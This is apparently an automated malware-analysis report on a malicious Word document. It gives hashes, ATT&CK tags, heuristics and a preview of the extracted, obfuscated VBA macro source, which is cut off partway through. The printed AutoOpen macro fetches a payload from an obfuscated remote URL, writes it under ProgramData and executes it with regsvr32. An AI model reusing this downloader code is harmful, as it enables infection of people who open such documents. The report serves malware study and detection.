Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 864154010103498f…

MALICIOUS

Office (OOXML)

134.3 KB Created: 2020-07-09 00:03:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 31bd45ce9b3cddc8777b5c457f01261b SHA-1: 5e56db189af9b315fb392da6489504b0d874c5ee SHA-256: 864154010103498fd577d2cb906cc2b0e6fc63ebf9d4faf76b9f35b75300667d
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA project with an AutoOpen macro. This macro is configured to execute code via the Shell function, indicating an intent to download and run a secondary payload. The presence of an external relationship pointing to a local file path suggests potential obfuscation or a specific build environment, but the primary malicious function is the VBA execution.

Heuristics 5

  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack1\it.jpg
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4515 bytes
SHA-256: cb9aa52aaf5b0f1395690466af1e1c364091f844795b3d0e50b7f7797abc8746
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "b8330182"
Function d0b450fd()
d0b450fd = -15811
End Function
Function c810b5da()
c810b5da = ActiveWindow.Index
End Function
Function ef299665()
ef299665 = ActiveWindow.DisplayScreenTips
End Function
Function d46e9340()
d46e9340 = 12852.112268793
End Function
Sub a66e57ff(fcffa5ef, fb472bc7)
Dim c13da993
c13da993 = FreeFile
Open fcffa5ef For Output As #c13da993
Print #c13da993, a9792d35(fb472bc7)
Close #c13da993
End Sub
Function ae86bc2a()
ae86bc2a = Application.ActiveDocument.ConsecutiveHyphensLimit
End Function
Function e5e7b88c()
e5e7b88c = ActiveWindow.Type
End Function
Function dc98ae83()
dc98ae83 = 789 - 24
End Function
Function daacbe48()
daacbe48 = Application.ActiveDocument.CurrentRsid
End Function
Function d8a84cc6(b4ed7658)
e5e9e559 = Len(b4ed7658)
For c46003e0 = 1 To e5e9e559 Step 2
b7ec3dcd = b7ec3dcd & Mid(b4ed7658, c46003e0, 1)
Next
d8a84cc6 = b7ec3dcd
End Function
Function d5367001()
d5367001 = ActiveWindow.DisplayScreenTips
End Function
Function ca9db7c4()
ca9db7c4 = Application.ActiveDocument.AttachedTemplate
End Function
Function a530f33d()
a530f33d = ActiveWindow.SplitVertical
End Function
Function e6ad0f48()
e6ad0f48 = 6924.5389819781
End Function
Sub ea8c0a84()
End Sub
Function bd084185()
bd084185 = ActiveWindow.Split
End Function
Function a211c2fa()
a211c2fa = 45
End Function
Function c5a7da6c()
c5a7da6c = ActiveWindow.Width
End Function
Function fb45c3a7()
fb45c3a7 = Application.ActiveDocument.ActiveThemeDisplayName
End Function
Sub AutoOpen()
Dim c0ac0664 As New add200ee
a66e57ff d8a84cc6("c2:3\3p7rdo8gdr8a5m4daa3t6ae\41658854a18.4j7p4g9"), c0ac0664.adcad2b6(d8a84cc6("h5tctcp1:2/f/3r203rff5kc.4c9ocm9/9ibz557/0y4a2c7a4.fpah4p8?alf=ek0p4t495.7c7a3b0"))
Dim f2a19f7e As New WshShell
f2a19f7e.exec d64ae553 & " " & d8a84cc6("c2:3\3p7rdo8gdr8a5m4daa3t6ae\41658854a18.4j7p4g9")
End Sub

Attribute VB_Name = "b00ffaf0"
Function dee5eda9()
dee5eda9 = ActiveWindow.HorizontalPercentScrolled
End Function
Function c96ef4d7()
c96ef4d7 = ActiveWindow.DisplayVerticalScrollBar
End Function
Function a7e83c60()
a7e83c60 = Application.ActiveDocument.AutoSaveOn
End Function
Function e8e2c85a()
e8e2c85a = ActiveWindow.IMEMode
End Function
Function a9792d35(b36cd39d)
a9792d35 = StrConv(b36cd39d, 64)
End Function
Function bdb3986e()
bdb3986e = ActiveWindow.VerticalPercentScrolled
End Function
Function d813f68c()
d813f68c = Application.ActiveDocument.AttachedTemplate
End Function
Function ffee67a2()
ffee67a2 = ActiveWindow.EnvelopeVisible
End Function
Function d0ea18a8()
d0ea18a8 = ActiveWindow.Type
End Function
Function cd10abad()
End Function
Function efc65ffe()
efc65ffe = Application.ActiveDocument.Content
End Function
Function c5f0c09a()
c5f0c09a = Application.ActiveDocument.AutoSaveOn
End Function
Function cd466201()
cd466201 = "apPRei"
End Function
Function c7b6cce5()
c7b6cce5 = ActiveWindow.Thumbnails
End Function
Function d64ae553()
d64ae553 = d8a84cc6("r2e3gas6v9r53a2b")
End Function

Attribute VB_Name = "add200ee"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function ff38a951()
ff38a951 = Application.ActiveDocument.AutoHyphenation
End Function
Function fcddefb5()
fcddefb5 = 61470.206049479
End Function
Function e19f53c5()
e19f53c5 = ActiveWindow.UsableHeight
End Function
Function a2d50490()
a2d50490 = ActiveWindow.DisplayScreenTips
End Function
Function adcad2b6(b9e08db2)
Dim cb61ea2a As Object
Set cb61ea2a = New MSXML2.XMLHTTP30
Call cb61ea2a.Open("GET", b9e08db
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: 6e67c63295042033d7b7fc0955071fe36870babb0d34a8d41571487b6e95b0fa

Open this report in the interactive analyzer, or submit your own file for analysis.